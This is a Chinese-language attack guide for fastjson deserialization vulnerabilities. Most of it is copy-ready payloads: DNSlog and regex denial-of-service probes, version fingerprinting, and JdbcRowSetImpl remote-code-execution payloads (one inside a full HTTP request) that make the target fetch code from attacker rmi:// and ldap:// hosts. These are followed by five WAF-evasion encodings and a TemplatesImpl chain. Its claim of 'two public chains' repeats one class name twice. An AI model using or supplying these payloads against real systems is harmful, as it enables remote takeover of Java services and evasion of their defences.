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fastjson反序列化攻略

article 2024/12/24 0:29:01

漏洞原理

Json.parseObject(json, User.class)方法中，通过指定@type的值实现定位某类，会执行User类的构造方法和属性中的get，set方法

判断是否是fastjson/（jackson）

1.2.24-1.2.83都会有dnslog的payload

{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}

1.2.36-1.2.62正则DDOS，延时攻击

{
    "regex":{
        "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
    },
    "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}

版本探测

通过报错信息查看版本号（不一定能爆出）

{"@type":"java.lang.AutoCloseable"
a
["test":1]

无报错信息探测

【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}



【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}



【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
    }
}



【不报错】1.2.24 【报错】1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

延迟判断

fastjson<=1.2.47

{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://11.111.22.222/test111","autoCommit":true}}

1.1.16<=fastjson<=1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://137.30.0.1:9999/POC","autoCommit":true}}

1.2.24 RCE-payload

POST / HTTP/1.1
Host: 192.168.112.131:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.112.1:1099/rrxt2k",
        "autoCommit":true
    }
}

1.2.47 RCE-payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.112.1:1099/dwkrty",
        "autoCommit":true
    }
}

绕WAF

/*s6*/绕过
{
  "b":{
    /*s6*/"@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.112.1:1099/isupvs",
    "autoCommit":true
  }
}


多字符绕过
{"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.112.1:1099/isupvs","autoCommit":true}}


空格绕过
{"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.112.1:1099/isupvs","autoCommit":true}}


unicode编码绕过
{
  "b":{   "\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.112.1:1099/isupvs",
    "autoCommit":true
  }
}


16进制编码绕过
{
  "b":{   "\x40\x74\x79\x70\x65":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.112.1:1099/isupvs",
    "autoCommit":true
  }
}

不出网

目前公开的两个链

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

利用方式需要一个特定的触发条件，解析JSON的时候需要使用Feature才能触发

1. 服务端使用parseObject()时，必须使用如下格式才能触发漏洞： JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
2. 服务端使用parse()时，需要 JSON.parse(text1,Feature.SupportNonPublicField)
  这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性，要满足private属性的数据。所以比较苛刻，完全凭运气